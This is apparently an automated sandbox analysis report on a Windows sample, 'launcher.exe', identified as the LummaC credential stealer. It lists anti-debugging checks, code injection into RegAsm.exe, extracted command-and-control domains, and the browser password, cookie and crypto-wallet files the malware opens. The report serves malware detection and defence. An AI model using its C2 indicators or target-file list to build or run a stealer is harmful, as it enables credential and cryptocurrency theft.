Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00434400 LdrInitializeThunk,

2_2_00434400

Source: C:\Users\user\Desktop\launcher.exe

Code function: 0_2_003690B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_003690B3

Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00375AAE mov eax, dword ptr fs:[00000030h]		0_2_00375AAE
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_0036CE48 mov ecx, dword ptr fs:[00000030h]		0_2_0036CE48

Source: C:\Users\user\Desktop\launcher.exe

Code function: 0_2_003780AD GetProcessHeap,

0_2_003780AD

Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003690B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003690B3
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_00365156 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00365156
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003652B2 SetUnhandledExceptionFilter,	0_2_003652B2
Source: C:\Users\user\Desktop\launcher.exe	Code function: 0_2_003653E7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003653E7

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\launcher.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\launcher.exe

Code function: 0_2_003CF7BD CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_003CF7BD

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\launcher.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: launcher.exe	String found in binary or memory: demonstationfukewko.shop
Source: launcher.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: launcher.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: launcher.exe	String found in binary or memory: incredibleextedwj.shop
Source: launcher.exe	String found in binary or memory: shortsvelventysjo.shop
Source: launcher.exe	String found in binary or memory: shatterbreathepsw.shop
Source: launcher.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: launcher.exe	String found in binary or memory: productivelookewr.shop
Source: launcher.exe	String found in binary or memory: sideindexfollowragelrew.pw

Writes to foreign memory regions

Source: C:\Users\user\Desktop\launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 448000	Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D8D008	Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe

Code function: 0_2_00364E7C cpuid

0_2_00364E7C

Source: C:\Users\user\Desktop\launcher.exe	Code function: EnumSystemLocalesW,	0_2_0036F6AF
Source: C:\Users\user\Desktop\launcher.exe	Code function: EnumSystemLocalesW,	0_2_00377789
Source: C:\Users\user\Desktop\launcher.exe	Code function: EnumSystemLocalesW,	0_2_003777D4
Source: C:\Users\user\Desktop\launcher.exe	Code function: EnumSystemLocalesW,	0_2_0037786F
Source: C:\Users\user\Desktop\launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_003778FA
Source: C:\Users\user\Desktop\launcher.exe	Code function: GetLocaleInfoW,	0_2_00377B4D
Source: C:\Users\user\Desktop\launcher.exe	Code function: GetLocaleInfoW,	0_2_0036FBD5
Source: C:\Users\user\Desktop\launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00377C76
Source: C:\Users\user\Desktop\launcher.exe	Code function: GetLocaleInfoW,	0_2_00377D7C
Source: C:\Users\user\Desktop\launcher.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00377E4B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe

Code function: 0_2_00365050 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00365050

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: RegAsm.exe, 00000002.00000002.1805056555.0000000001136000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1805243250.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1805056555.000000000115A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000002.00000002.1805056555.000000000114D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: RegAsm.exe, 00000002.00000002.1805200604.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: RegAsm.exe, 00000002.00000002.1805056555.000000000114D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000002.00000002.1805056555.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000002.00000002.1805200604.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: RegAsm.exe, 00000002.00000002.1804956506.0000000000EF8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: MAapp-store.jsonAWallets/BinanceC:\Users\user\AppData\Roaming\BinanceA%appdata%\Binance
Source: RegAsm.exe, 00000002.00000002.1805056555.000000000114D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: RegAsm.exe, 00000002.00000002.1805200604.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: RegAsm.exe, 00000002.00000002.1805229983.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
